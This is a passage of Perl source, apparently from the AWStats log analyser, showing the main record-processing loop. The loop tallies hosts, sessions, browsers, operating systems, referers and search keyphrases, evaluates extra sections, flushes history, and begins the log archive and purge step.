6923 if ($AtLeastOneSectionPlugin) {
6924 foreach my $pluginname (keys %{$PluginsLoaded{'SectionProcessIp'}}) {
6925 my $function="SectionProcessIp_$pluginname";
6926 if ($Debug) { debug(" Call to plugin function $function",5); }
6927 &$function($Host);
6928 }
6929 }
6930 }
6931 else {
6932 if ($PluginsLoaded{'GetCountryCodeByName'}{'geoip'}) { $Domain=GetCountryCodeByName_geoip($HostResolved); }
6933 # elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByName_geoip_region_maxmind($HostResolved); }
6934 # elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_city_maxmind'}) { $Domain=GetCountryCodeByName_geoip_city_maxmind($HostResolved); }
6935 elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoipfree'}) { $Domain=GetCountryCodeByName_geoipfree($HostResolved); }
6936 elsif ($HostResolved =~ /\.(\w+)$/) { $Domain=$1; }
6937 if ($AtLeastOneSectionPlugin) {
6938 foreach my $pluginname (keys %{$PluginsLoaded{'SectionProcessHostname'}}) {
6939 my $function="SectionProcessHostname_$pluginname";
6940 if ($Debug) { debug(" Call to plugin function $function",5); }
6941 &$function($HostResolved);
6942 }
6943 }
6944 }
6945 }
6946 # Store country
6947 if ($PageBool) { $_domener_p{$Domain}++; }
6948 $_domener_h{$Domain}++;
6949 $_domener_k{$Domain}+=int($field[$pos_size]);
6950
6951 # Analyze: Host, URL entry+exit and Session
6952 #------------------------------------------
6953 if ($PageBool) {
6954 my $timehostl=$_host_l{$HostResolved};
6955 if ($timehostl) {
6956 # A visit for this host was already detected
6957 # TODO everywhere there is $VISITTIMEOUT
6958 # $timehostl =~ /^\d\d\d\d\d\d(\d\d)/; my $daytimehostl=$1;
6959 # if ($timerecord > ($timehostl+$VISITTIMEOUT+($dateparts[3]>$daytimehostl?$NEWDAYVISITTIMEOUT:0))) {
6960 if ($timerecord > ($timehostl+$VISITTIMEOUT)) {
6961 # This is a second visit or more
6962 if (! $_waithost_s{$HostResolved}) {
6963 # This is a second visit or more
6964 # We count 'visit','exit','entry','DayVisits'
6965 if ($Debug) { debug(" This is a second visit for $HostResolved.",4); }
6966 my $timehosts=$_host_s{$HostResolved};
6967 my $page=$_host_u{$HostResolved};
6968 if ($page) { $_url_x{$page}++; }
6969 $_url_e{$field[$pos_url]}++;
6970 $DayVisits{$yearmonthdayrecord}++;
6971 # We can't count session yet because we don't have the start so
6972 # we save params of first 'wait' session
6973 $_waithost_l{$HostResolved}=$timehostl;
6974 $_waithost_s{$HostResolved}=$timehosts;
6975 $_waithost_u{$HostResolved}=$page;
6976 }
6977 else {
6978 # This is third visit or more
6979 # We count 'session','visit','exit','entry','DayVisits'
6980 if ($Debug) { debug(" This is a third visit or more for $HostResolved.",4); }
6981 my $timehosts=$_host_s{$HostResolved};
6982 my $page=$_host_u{$HostResolved};
6983 if ($page) { $_url_x{$page}++; }
6984 $_url_e{$field[$pos_url]}++;
6985 $DayVisits{$yearmonthdayrecord}++;
6986 if ($timehosts) { $_session{GetSessionRange($timehosts,$timehostl)}++; }
6987 }
6988 # Save new session properties
6989 $_host_s{$HostResolved}=$timerecord;
6990 $_host_l{$HostResolved}=$timerecord;
6991 $_host_u{$HostResolved}=$field[$pos_url];
6992 }
6993 elsif ($timerecord > $timehostl) {
6994 # This is a same visit we can count
6995 if ($Debug) { debug(" This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",4); }
6996 $_host_l{$HostResolved}=$timerecord;
6997 $_host_u{$HostResolved}=$field[$pos_url];
6998 }
6999 elsif ($timerecord == $timehostl) {
7000 # This is a same visit we can count
7001 if ($Debug) { debug(" This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",4); }
7002 $_host_u{$HostResolved}=$field[$pos_url];
7003 }
7004 elsif ($timerecord < $_host_s{$HostResolved}) {
7005 # Should happens only with not correctly sorted log files
7006 if ($Debug) { debug(" This is same visit still running for $HostResolved with start not in order. host_s changed to $timerecord (entry page also changed if first visit)",4); }
7007 if (! $_waithost_s{$HostResolved}) {
7008 # We can reorder entry page only if it's the first visit found in this update run (The saved entry page was $_waithost_e if $_waithost_s{$HostResolved} is not defined. If second visit or more, entry was directly counted and not saved)
7009 $_waithost_e{$HostResolved}=$field[$pos_url];
7010 }
7011 else {
7012 # We can't change entry counted as we dont't know what was the url counted as entry
7013 }
7014 $_host_s{$HostResolved}=$timerecord;
7015 }
7016 else {
7017 if ($Debug) { debug(" This is same visit still running for $HostResolved with hit between start and last hits. No change",4); }
7018 }
7019 }
7020 else {
7021 # This is a new visit (may be). First new visit found for this host. We save in wait array the entry page to count later
7022 if ($Debug) { debug(" New session (may be) for $HostResolved. Save in wait array to see later",4); }
7023 $_waithost_e{$HostResolved}=$field[$pos_url];
7024 # Save new session properties
7025 $_host_u{$HostResolved}=$field[$pos_url];
7026 $_host_s{$HostResolved}=$timerecord;
7027 $_host_l{$HostResolved}=$timerecord;
7028 }
7029 $_host_p{$HostResolved}++;
7030 }
7031 $_host_h{$HostResolved}++;
7032 $_host_k{$HostResolved}+=int($field[$pos_size]);
7033
7034 # Analyze: Browser - OS
7035 #----------------------
7036 if ($pos_agent >= 0 && $UserAgent) {
7037
7038 if ($LevelForBrowsersDetection) {
7039
7040 # Analyze: Browser
7041 #-----------------
7042 my $uabrowser=$TmpBrowser{$UserAgent};
7043 if (! $uabrowser) {
7044 my $found=1;
7045 # IE ?
7046 if ($UserAgent =~ /$regvermsie/o && $UserAgent !~ /$regnotie/o) {
7047 $_browser_h{"msie$2"}++;
7048 $TmpBrowser{$UserAgent}="msie$2";
7049 }
7050 # Firefox ?
7051 elsif ($UserAgent =~ /$regverfirefox/o) {
7052 $_browser_h{"firefox$1"}++;
7053 $TmpBrowser{$UserAgent}="firefox$1";
7054 }
7055 # Subversion ?
7056 elsif ($UserAgent =~ /$regversvn/o) {
7057 $_browser_h{"svn$1"}++;
7058 $TmpBrowser{$UserAgent}="svn$1";
7059 }
7060 # Netscape 6.x, 7.x ... ?
7061 elsif ($UserAgent =~ /$regvernetscape/o) {
7062 $_browser_h{"netscape$1"}++;
7063 $TmpBrowser{$UserAgent}="netscape$1";
7064 }
7065 # Netscape 3.x, 4.x ... ?
7066 elsif ($UserAgent =~ /$regvermozilla/o && $UserAgent !~ /$regnotnetscape/o) {
7067 $_browser_h{"netscape$2"}++;
7068 $TmpBrowser{$UserAgent}="netscape$2";
7069 }
7070 # Other known browsers ?
7071 else {
7072 $found=0;
7073 foreach (@BrowsersSearchIDOrder) { # Search ID in order of BrowsersSearchIDOrder
7074 if ($UserAgent =~ /$_/) {
7075 my $browser=&UnCompileRegex($_);
7076 # TODO If browser is in a family, use version
7077 $_browser_h{"$browser"}++;
7078 $TmpBrowser{$UserAgent}="$browser";
7079 $found=1;
7080 last;
7081 }
7082 }
7083 }
7084 # Unknown browser ?
7085 if (!$found) {
7086 $_browser_h{'Unknown'}++;
7087 $TmpBrowser{$UserAgent}='Unknown';
7088 my $newua=$UserAgent; $newua =~ tr/\+ /__/;
7089 $_unknownrefererbrowser_l{$newua}=$timerecord;
7090 }
7091 }
7092 else {
7093 $_browser_h{$uabrowser}++;
7094 if ($uabrowser eq 'Unknown') {
7095 my $newua=$UserAgent; $newua =~ tr/\+ /__/;
7096 $_unknownrefererbrowser_l{$newua}=$timerecord;
7097 }
7098 }
7099
7100 }
7101
7102 if ($LevelForOSDetection) {
7103
7104 # Analyze: OS
7105 #------------
7106 my $uaos=$TmpOS{$UserAgent};
7107 if (! $uaos) {
7108 my $found=0;
7109 # in OSHashID list ?
7110 foreach (@OSSearchIDOrder) { # Search ID in order of OSSearchIDOrder
7111 if ($UserAgent =~ /$_/) {
7112 my $osid=$OSHashID{&UnCompileRegex($_)};
7113 $_os_h{"$osid"}++;
7114 $TmpOS{$UserAgent}="$osid";
7115 $found=1;
7116 last;
7117 }
7118 }
7119 # Unknown OS ?
7120 if (!$found) {
7121 $_os_h{'Unknown'}++;
7122 $TmpOS{$UserAgent}='Unknown';
7123 my $newua=$UserAgent; $newua =~ tr/\+ /__/;
7124 $_unknownreferer_l{$newua}=$timerecord;
7125 }
7126 }
7127 else {
7128 $_os_h{$uaos}++;
7129 if ($uaos eq 'Unknown') {
7130 my $newua=$UserAgent; $newua =~ tr/\+ /__/;
7131 $_unknownreferer_l{$newua}=$timerecord;
7132 }
7133 }
7134
7135 }
7136
7137 }
7138 else {
7139 $_browser_h{'Unknown'}++;
7140 $_os_h{'Unknown'}++;
7141 }
7142
7143 # Analyze: Referer
7144 #-----------------
7145 my $found=0;
7146 if ($pos_referer >= 0 && $LevelForRefererAnalyze && $field[$pos_referer]) {
7147
7148 # Direct ?
7149 if ($field[$pos_referer] eq '-' || $field[$pos_referer] eq 'bookmarks') { # "bookmarks" is sent by Netscape, '-' by all others browsers
7150 # Direct access
7151 if ($PageBool) { $_from_p[0]++; }
7152 $_from_h[0]++;
7153 $found=1;
7154 }
7155 else {
7156 $field[$pos_referer] =~ /$regreferer/o;
7157 my $refererprot=$1;
7158 my $refererserver=($2||'').(! $3 || $3 eq ':80'?'':$3); # refererserver is www.xxx.com or www.xxx.com:81 but not www.xxx.com:80
7159 # HTML link ?
7160 if ($refererprot =~ /^http/i) {
7161 #if ($Debug) { debug(" Analyze referer refererprot=$refererprot refererserver=$refererserver",5); }
7162
7163 # Kind of origin
7164 if (!$TmpRefererServer{$refererserver}) { # is "=" if same site, "search egine key" if search engine, not defined otherwise
7165 if ($refererserver =~ /$reglocal/o) {
7166 # Intern (This hit came from another page of the site)
7167 if ($Debug) { debug(" Server '$refererserver' is added to TmpRefererServer with value '='",2); }
7168 $TmpRefererServer{$refererserver}='=';
7169 $found=1;
7170 }
7171 else {
7172 foreach (@HostAliases) {
7173 if ($refererserver =~ /$_/) {
7174 # Intern (This hit came from another page of the site)
7175 if ($Debug) { debug(" Server '$refererserver' is added to TmpRefererServer with value '='",2); }
7176 $TmpRefererServer{$refererserver}='=';
7177 $found=1;
7178 last;
7179 }
7180 }
7181 if (! $found) {
7182 # Extern (This hit came from an external web site).
7183
7184 if ($LevelForSearchEnginesDetection) {
7185
7186 foreach (@SearchEnginesSearchIDOrder) { # Search ID in order of SearchEnginesSearchIDOrder
7187 if ($refererserver =~ /$_/) {
7188 my $key=&UnCompileRegex($_);
7189 if (! $NotSearchEnginesKeys{$key} || $refererserver !~ /$NotSearchEnginesKeys{$key}/i) {
7190 # This hit came from the search engine $key
7191 if ($Debug) { debug(" Server '$refererserver' is added to TmpRefererServer with value '$key'",2); }
7192 $TmpRefererServer{$refererserver}=$SearchEnginesHashID{$key};
7193 $found=1;
7194 }
7195 last;
7196 }
7197 }
7198
7199 }
7200 }
7201 }
7202 }
7203
7204 my $tmprefererserver=$TmpRefererServer{$refererserver};
7205 if ($tmprefererserver) {
7206 if ($tmprefererserver eq '=') {
7207 # Intern (This hit came from another page of the site)
7208 if ($PageBool) { $_from_p[4]++; }
7209 $_from_h[4]++;
7210 $found=1;
7211 }
7212 else {
7213 # This hit came from a search engine
7214 if ($PageBool) { $_from_p[2]++; $_se_referrals_p{$tmprefererserver}++; }
7215 $_from_h[2]++;
7216 $_se_referrals_h{$tmprefererserver}++;
7217 $found=1;
7218 if ($PageBool && $LevelForKeywordsDetection) {
7219 # we will complete %_keyphrases hash array
7220 my @refurl=split(/\?/,$field[$pos_referer],2); # TODO Use \? or [$URLQuerySeparators] ?
7221 if ($refurl[1])
7222 {
7223 # Extract params of referer query string (q=cache:mmm:www/zzz+aaa+bbb q=aaa+bbb/ccc key=ddd%20eee lang_en ie=UTF-8 ...)
7224 if ($SearchEnginesKnownUrl{$tmprefererserver}) { # Search engine with known URL syntax
7225 foreach my $param (split(/&/,$KeyWordsNotSensitive?lc($refurl[1]):$refurl[1])) {
7226 if ($param =~ s/^$SearchEnginesKnownUrl{$tmprefererserver}//) {
7227 # We found good parameter
7228 # Now param is keyphrase: "cache:mmm:www/zzz+aaa+bbb/ccc+ddd%20eee'fff,ggg"
7229 $param =~ s/^(cache|related):[^\+]+//; # Should be useless since this is for hit on 'not pages'
7230 &ChangeWordSeparatorsIntoSpace($param); # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg]
7231 $param =~ s/^ +//; $param =~ s/ +$//; # Trim
7232 $param =~ tr/ /\+/s;
7233 if ((length $param) > 0) { $_keyphrases{$param}++; }
7234 last;
7235 }
7236 }
7237 }
7238 elsif ($LevelForKeywordsDetection >= 2) { # Search engine with unknown URL syntax
7239 foreach my $param (split(/&/,$KeyWordsNotSensitive?lc($refurl[1]):$refurl[1])) {
7240 my $foundexcludeparam=0;
7241 foreach my $paramtoexclude (@WordsToCleanSearchUrl) {
7242 if ($param =~ /$paramtoexclude/i) { $foundexcludeparam=1; last; } # Not the param with search criteria
7243 }
7244 if ($foundexcludeparam) { next; }
7245 # We found good parameter
7246 $param =~ s/.*=//;
7247 # Now param is keyphrase: "aaa+bbb/ccc+ddd%20eee'fff,ggg"
7248 $param =~ s/^(cache|related):[^\+]+//; # Should be useless since this is for hit on 'not pages'
7249 &ChangeWordSeparatorsIntoSpace($param); # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg ]
7250 $param =~ s/^ +//; $param =~ s/ +$//; # Trim
7251 $param =~ tr/ /\+/s;
7252 if ((length $param) > 2) { $_keyphrases{$param}++; last; }
7253 }
7254 }
7255 } # End of elsif refurl[1]
7256 elsif ($SearchEnginesWithKeysNotInQuery{$tmprefererserver})
7257 {
7258# debug("xxx".$refurl[0]);
7259 # If search engine with key inside page url like a9 (www.a9.com/searchkey1%20searchkey2)
7260 if ($refurl[0] =~ /$SearchEnginesKnownUrl{$tmprefererserver}(.*)$/) {
7261 my $param=$1;
7262 &ChangeWordSeparatorsIntoSpace($param);
7263 $param =~ tr/ /\+/s;
7264 if ((length $param) > 0) { $_keyphrases{$param}++; }
7265 }
7266 }
7267
7268 }
7269 }
7270 } # End of if ($TmpRefererServer)
7271 else {
7272 # This hit came from a site other than a search engine
7273 if ($PageBool) { $_from_p[3]++; }
7274 $_from_h[3]++;
7275 # http://www.mysite.com/ must be same referer than http://www.mysite.com but .../mypage/ differs of .../mypage
7276 #if ($refurl[0] =~ /^[^\/]+\/$/) { $field[$pos_referer] =~ s/\/$//; } # Code moved in Save_History
7277 # TODO: lowercase the value for referer server to have refering server not case sensitive
7278 if ($URLReferrerWithQuery) {
7279 if ($PageBool) { $_pagesrefs_p{$field[$pos_referer]}++; }
7280 $_pagesrefs_h{$field[$pos_referer]}++;
7281 }
7282 else {
7283 # We discard query for referer
7284 if ($field[$pos_referer]=~/$regreferernoquery/o) {
7285 if ($PageBool) { $_pagesrefs_p{"$1"}++; }
7286 $_pagesrefs_h{"$1"}++;
7287 }
7288 else {
7289 if ($PageBool) { $_pagesrefs_p{$field[$pos_referer]}++; }
7290 $_pagesrefs_h{$field[$pos_referer]}++;
7291 }
7292 }
7293 $found=1;
7294 }
7295 }
7296
7297 # News Link ?
7298 if (! $found && $refererprot =~ /^news/i) {
7299 $found=1;
7300 if ($PageBool) { $_from_p[5]++; }
7301 $_from_h[5]++;
7302 }
7303 }
7304 }
7305
7306 # Origin not found
7307 if (!$found) {
7308 if ($ShowUnknownOrigin) { print "Unknown origin: $field[$pos_referer]\n"; }
7309 if ($PageBool) { $_from_p[1]++; }
7310 $_from_h[1]++;
7311 }
7312
7313 # Analyze: EMail
7314 #---------------
7315 if ($pos_emails>=0 && $field[$pos_emails]) {
7316 if ($field[$pos_emails] eq '<>') { $field[$pos_emails]='Unknown'; }
7317 elsif ($field[$pos_emails] !~ /\@/) { $field[$pos_emails].="\@$SiteDomain"; }
7318 $_emails_h{lc($field[$pos_emails])}++; #Count accesses for sender email (hit)
7319 $_emails_k{lc($field[$pos_emails])}+=int($field[$pos_size]); #Count accesses for sender email (kb)
7320 $_emails_l{lc($field[$pos_emails])}=$timerecord;
7321 }
7322 if ($pos_emailr>=0 && $field[$pos_emailr]) {
7323 if ($field[$pos_emailr] !~ /\@/) { $field[$pos_emailr].="\@$SiteDomain"; }
7324 $_emailr_h{lc($field[$pos_emailr])}++; #Count accesses for receiver email (hit)
7325 $_emailr_k{lc($field[$pos_emailr])}+=int($field[$pos_size]); #Count accesses for receiver email (kb)
7326 $_emailr_l{lc($field[$pos_emailr])}=$timerecord;
7327 }
7328 }
7329
7330 # Check cluster
7331 #--------------
7332 if ($pos_cluster>=0) {
7333 if ($PageBool) { $_cluster_p{$field[$pos_cluster]}++; } #Count accesses for page (page)
7334 $_cluster_h{$field[$pos_cluster]}++; #Count accesses for page (hit)
7335 $_cluster_k{$field[$pos_cluster]}+=int($field[$pos_size]); #Count accesses for page (kb)
7336 }
7337
7338 # Analyze: Extra
7339 #---------------
7340 foreach my $extranum (1..@ExtraName-1) {
7341 if ($Debug) { debug(" Process extra analyze $extranum",4); }
7342
7343 # Check code
7344 my $conditionok=0;
7345 if ($ExtraCodeFilter[$extranum])
7346 {
7347 foreach my $condnum (0..@{$ExtraCodeFilter[$extranum]}-1) {
7348 if ($Debug) { debug(" Check code '$field[$pos_code]' must be '$ExtraCodeFilter[$extranum][$condnum]'",5); }
7349 if ($field[$pos_code] eq "$ExtraCodeFilter[$extranum][$condnum]") { $conditionok=1; last; }
7350 }
7351 if (! $conditionok && @{$ExtraCodeFilter[$extranum]}) { next; } # End for this section
7352 if ($Debug) { debug(" No check on code or code is OK. Now we check other conditions.",5); }
7353 }
7354
7355 # Check conditions
7356 $conditionok=0;
7357 foreach my $condnum (0..@{$ExtraConditionType[$extranum]}-1) {
7358 my $conditiontype=$ExtraConditionType[$extranum][$condnum];
7359 my $conditiontypeval=$ExtraConditionTypeVal[$extranum][$condnum];
7360 if ($conditiontype eq 'URL') {
7361 if ($Debug) { debug(" Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery'",5); }
7362 if ($urlwithnoquery =~ /$conditiontypeval/) { $conditionok=1; last; }
7363 }
7364 elsif ($conditiontype eq 'QUERY_STRING') {
7365 if ($Debug) { debug(" Check condition '$conditiontype' must contain '$conditiontypeval' in '$standalonequery'",5); }
7366 if ($standalonequery =~ /$conditiontypeval/) { $conditionok=1; last; }
7367 }
7368 elsif ($conditiontype eq 'URLWITHQUERY') {
7369 if ($Debug) { debug(" Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery$tokenquery$standalonequery'",5); }
7370 if ("$urlwithnoquery$tokenquery$standalonequery" =~ /$conditiontypeval/) { $conditionok=1; last; }
7371 }
7372 elsif ($conditiontype eq 'REFERER') {
7373 if ($Debug) { debug(" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_referer]'",5); }
7374 if ($field[$pos_referer] =~ /$conditiontypeval/) { $conditionok=1; last; }
7375 }
7376 elsif ($conditiontype eq 'UA') {
7377 if ($Debug) { debug(" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_agent]'",5); }
7378 if ($field[$pos_agent] =~ /$conditiontypeval/) { $conditionok=1; last; }
7379 }
7380 elsif ($conditiontype eq 'HOST') {
7381 if ($Debug) { debug(" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_host]'",5); }
7382 if ($HostResolved =~ /$conditiontypeval/) { $conditionok=1; last; }
7383 }
7384 elsif ($conditiontype eq 'VHOST') {
7385 if ($Debug) { debug(" Check condision '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_vh]'",5); }
7386 if ($field[$pos_vh] =~ /$conditiontypeval/) { $conditionok=1; last; }
7387 }
7388 elsif ($conditiontype =~ /extra(\d+)/i) {
7389 if ($Debug) { debug(" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_extra[$1]]'",5); }
7390 if ($field[$pos_extra[$1]] =~ /$conditiontypeval/) { $conditionok=1; last; }
7391 }
7392 else { error("Wrong value of parameter ExtraSectionCondition$extranum"); }
7393 }
7394 if (! $conditionok && @{$ExtraConditionType[$extranum]}) { next; } # End for this section
7395 if ($Debug) { debug(" No condition or condition is OK. Now we extract value for first column of extra chart.",5); }
7396
7397 # Determine actual column value to use.
7398 my $rowkeyval;
7399 my $rowkeyok=0;
7400 foreach my $rowkeynum (0..@{$ExtraFirstColumnValuesType[$extranum]}-1) {
7401 my $rowkeytype=$ExtraFirstColumnValuesType[$extranum][$rowkeynum];
7402 my $rowkeytypeval=$ExtraFirstColumnValuesTypeVal[$extranum][$rowkeynum];
7403 if ($rowkeytype eq 'URL') {
7404 if ($urlwithnoquery =~ /$rowkeytypeval/) { $rowkeyval = "$1"; $rowkeyok = 1; last; }
7405 }
7406 elsif ($rowkeytype eq 'QUERY_STRING') {
7407 if ($Debug) { debug(" Extract value from '$standalonequery' with regex '$rowkeytypeval'.",5); }
7408 if ($standalonequery =~ /$rowkeytypeval/) { $rowkeyval = "$1"; $rowkeyok = 1; last; }
7409 }
7410 elsif ($rowkeytype eq 'URLWITHQUERY') {
7411 if ("$urlwithnoquery$tokenquery$standalonequery" =~ /$rowkeytypeval/) { $rowkeyval = "$1"; $rowkeyok = 1; last; }
7412 }
7413 elsif ($rowkeytype eq 'REFERER') {
7414 if ($field[$pos_referer] =~ /$rowkeytypeval/) { $rowkeyval = "$1"; $rowkeyok = 1; last; }
7415 }
7416 elsif ($rowkeytype eq 'UA') {
7417 if ($field[$pos_agent] =~ /$rowkeytypeval/) { $rowkeyval = "$1"; $rowkeyok = 1; last; }
7418 }
7419 elsif ($rowkeytype eq 'HOST') {
7420 if ($HostResolved =~ /$rowkeytypeval/) { $rowkeyval = "$1"; $rowkeyok = 1; last; }
7421 }
7422 elsif ($rowkeytype eq 'VHOST') {
7423 if ($field[$pos_vh] =~ /$rowkeytypeval/) { $rowkeyval = "$1"; $rowkeyok = 1; last; }
7424 }
7425 elsif ($rowkeytype =~ /extra(\d+)/i) {
7426 if ($field[$pos_extra[$1]] =~ /$rowkeytypeval/) { $rowkeyval = "$1"; $rowkeyok = 1; last; }
7427 }
7428 else { error("Wrong value of parameter ExtraSectionFirstColumnValues$extranum"); }
7429 }
7430 if (! $rowkeyok) { next; } # End for this section
7431 if ($Debug) { debug(" Key val was found: $rowkeyval",5); }
7432
7433 # Apply function on $rowkeyval
7434 if ($ExtraFirstColumnFunction[$extranum])
7435 {
7436 # Todo call function on string $rowkeyval
7437 }
7438
7439 # Here we got all values to increase counters
7440 if ($PageBool && $ExtraStatTypes[$extranum] =~ /P/i) { ${'_section_' . $extranum . '_p'}{$rowkeyval}++; }
7441 ${'_section_' . $extranum . '_h'}{$rowkeyval}++; # Must be set
7442 if ($ExtraStatTypes[$extranum] =~ /B/i) { ${'_section_' . $extranum . '_k'}{$rowkeyval}+=int($field[$pos_size]); }
7443 if ($ExtraStatTypes[$extranum] =~ /L/i) {
7444 if (${'_section_' . $extranum . '_l'}{$rowkeyval}||0 < $timerecord) { ${'_section_' . $extranum . '_l'}{$rowkeyval}=$timerecord; }
7445 }
7446 # Check to avoid too large extra sections
7447 if (scalar keys %{'_section_' . $extranum . '_h'} > $ExtraTrackedRowsLimit) {
7448 error(<<END_ERROR_TEXT);
7449The number of values found for extra section $extranum has grown too large.
7450In order to prevent awstats from using an excessive amount of memory, the number
7451of values is currently limited to $ExtraTrackedRowsLimit. Perhaps you should consider
7452revising extract parameters for extra section $extranum. If you are certain you
7453want to track such a large data set, you can increase the limit by setting
7454ExtraTrackedRowsLimit in your awstats configuration file.
7455END_ERROR_TEXT
7456 }
7457 }
7458
7459 # Every 20,000 approved lines after a flush, we test to clean too large hash arrays to flush data in tmp file
7460 if (++$counterforflushtest >= 20000) {
7461 #if (++$counterforflushtest >= 1) {
7462 if ((scalar keys %_host_u) > ($LIMITFLUSH<<2) || (scalar keys %_url_p) > $LIMITFLUSH) {
7463 # warning("Warning: Try to run AWStats update process more frequently to analyze smaler log files.");
7464 if ($^X =~ /activestate/i || $^X =~ /activeperl/i) {
7465 # We don't flush if perl is activestate to avoid slowing process because of memory hole
7466 }
7467 else {
7468 # Clean tmp hash arrays
7469 #%TmpDNSLookup = ();
7470 %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
7471 # We flush if perl is not activestate
7472 print "Flush history file on disk";
7473 if ((scalar keys %_host_u) > ($LIMITFLUSH<<2)) { print " (unique hosts reach flush limit of ".($LIMITFLUSH<<2).")"; }
7474 if ((scalar keys %_url_p) > $LIMITFLUSH) { print " (unique url reach flush limit of ".($LIMITFLUSH).")"; }
7475 print "\n";
7476 if ($Debug) {
7477 debug("End of set of $counterforflushtest records: Some hash arrays are too large. We flush and clean some.",2);
7478 print " _host_p:".(scalar keys %_host_p)." _host_h:".(scalar keys %_host_h)." _host_k:".(scalar keys %_host_k)." _host_l:".(scalar keys %_host_l)." _host_s:".(scalar keys %_host_s)." _host_u:".(scalar keys %_host_u)."\n";
7479 print " _url_p:".(scalar keys %_url_p)." _url_k:".(scalar keys %_url_k)." _url_e:".(scalar keys %_url_e)." _url_x:".(scalar keys %_url_x)."\n";
7480 print " _waithost_e:".(scalar keys %_waithost_e)." _waithost_l:".(scalar keys %_waithost_l)." _waithost_s:".(scalar keys %_waithost_s)." _waithost_u:".(scalar keys %_waithost_u)."\n";
7481 }
7482 &Read_History_With_TmpUpdate($lastprocessedyear,$lastprocessedmonth,$lastprocessedday,$lastprocessedhour,1,1,"all",($lastlinenb+$NbOfLinesParsed),$lastlineoffset,&CheckSum($_));
7483 &GetDelaySinceStart(1); $NbOfLinesShowsteps=1;
7484 }
7485 }
7486 $counterforflushtest=0;
7487 }
7488
7489 } # End of loop for processing new record.
7490
7491 if ($Debug) {
7492 debug(" _host_p:".(scalar keys %_host_p)." _host_h:".(scalar keys %_host_h)." _host_k:".(scalar keys %_host_k)." _host_l:".(scalar keys %_host_l)." _host_s:".(scalar keys %_host_s)." _host_u:".(scalar keys %_host_u)."\n",1);
7493 debug(" _url_p:".(scalar keys %_url_p)." _url_k:".(scalar keys %_url_k)." _url_e:".(scalar keys %_url_e)." _url_x:".(scalar keys %_url_x)."\n",1);
7494 debug(" _waithost_e:".(scalar keys %_waithost_e)." _waithost_l:".(scalar keys %_waithost_l)." _waithost_s:".(scalar keys %_waithost_s)." _waithost_u:".(scalar keys %_waithost_u)."\n",1);
7495 debug("End of processing log file (AWStats memory cache is TmpDNSLookup=".(scalar keys %TmpDNSLookup)." TmpBrowser=".(scalar keys %TmpBrowser)." TmpOS=".(scalar keys %TmpOS)." TmpRefererServer=".(scalar keys %TmpRefererServer)." TmpRobot=".(scalar keys %TmpRobot).")",1);
7496 }
7497
7498 # Save current processed break section
7499 # If lastprocesseddate > 0 means there is at least one approved new record in log or at least one existing history file
7500 if ($lastprocesseddate > 0) { # TODO: Do not save if we are sure a flush was just already done
7501 # Get last line
7502 seek(LOG,$lastlineoffset,0);
7503 my $line=<LOG>;
7504 chomp $line; $line =~ s/\r$//;
7505 if (! $NbOfLinesParsed) {
7506 # TODO If there was no lines parsed (log was empty), we only update LastUpdate line with YYYYMMDDHHMMSS 0 0 0 0 0
7507 &Read_History_With_TmpUpdate($lastprocessedyear,$lastprocessedmonth,$lastprocessedday,$lastprocessedhour,1,1,"all",($lastlinenb+$NbOfLinesParsed),$lastlineoffset,&CheckSum($line));
7508 }
7509 else {
7510 &Read_History_With_TmpUpdate($lastprocessedyear,$lastprocessedmonth,$lastprocessedday,$lastprocessedhour,1,1,"all",($lastlinenb+$NbOfLinesParsed),$lastlineoffset,&CheckSum($line));
7511 }
7512 }
7513
7514 if ($Debug) { debug("Close log file \"$LogFile\""); }
7515 close LOG || error("Command for pipe '$LogFile' failed");
7516
7517 # Process the Rename - Archive - Purge phase
7518 my $renameok=1; my $archiveok=1;
7519
7520 # Open Log file for writing if PurgeLogFile is on
7521 if ($PurgeLogFile) {
7522 if ($ArchiveLogRecords) {
7523 if ($ArchiveLogRecords == 1) { # For backward compatibility
7524 $ArchiveFileName="$DirData/${PROG}_archive$FileSuffix.log";
7525 }
7526 else {
7527 $ArchiveFileName="$DirData/${PROG}_archive$FileSuffix.".&Substitute_Tags($ArchiveLogRecords).".log";
7528 }
7529 open(LOG,"+<$LogFile") || error("Enable to archive log records of \"$LogFile\" into \"$ArchiveFileName\" because source can't be opened for read and write: $!<br />\n");
7530 }
7531 else {
7532 open(LOG,"+<$LogFile");
7533 }
7534 binmode LOG;
7535 }
7536
7537 # Rename all HISTORYTMP files into HISTORYTXT
7538 &Rename_All_Tmp_History();
# spent 7.67ms making 1 call to main::Rename_All_Tmp_History
7539
7540 # Purge Log file if option is on and all renaming are ok
7541 if ($PurgeLogFile) {
7542 # Archive LOG file into ARCHIVELOG
7543 if ($ArchiveLogRecords) {
7544 if ($Debug) { debug("Start of archiving log file"); }
7545 open(ARCHIVELOG,">>$ArchiveFileName") || error("Couldn't open file \"$ArchiveFileName\" to archive log: $!");
7546 binmode ARCHIVELOG;
7547 while (<LOG>) {
7548 if (! print ARCHIVELOG $_) { $archiveok=0; last; }
7549 }
7550 close(ARCHIVELOG) || error("Archiving failed during closing archive: $!");
7551 if ($SaveDatabaseFilesWithPermissionsForEveryone) { chmod 0666,"$ArchiveFileName"; }
7552 if ($Debug) { debug("End of archiving log file"); }
7553 }
7554 # If rename and archive ok
7555 if ($renameok && $archiveok) {
7556 if ($Debug) { debug("Purge log file"); }
7557 my $bold=($ENV{'GATEWAY_INTERFACE'}?'<b>':'');
7558 my $unbold=($ENV{'GATEWAY_INTERFACE'}?'</b>':'');
7559 my $br=($ENV{'GATEWAY_INTERFACE'}?'<br />':'');
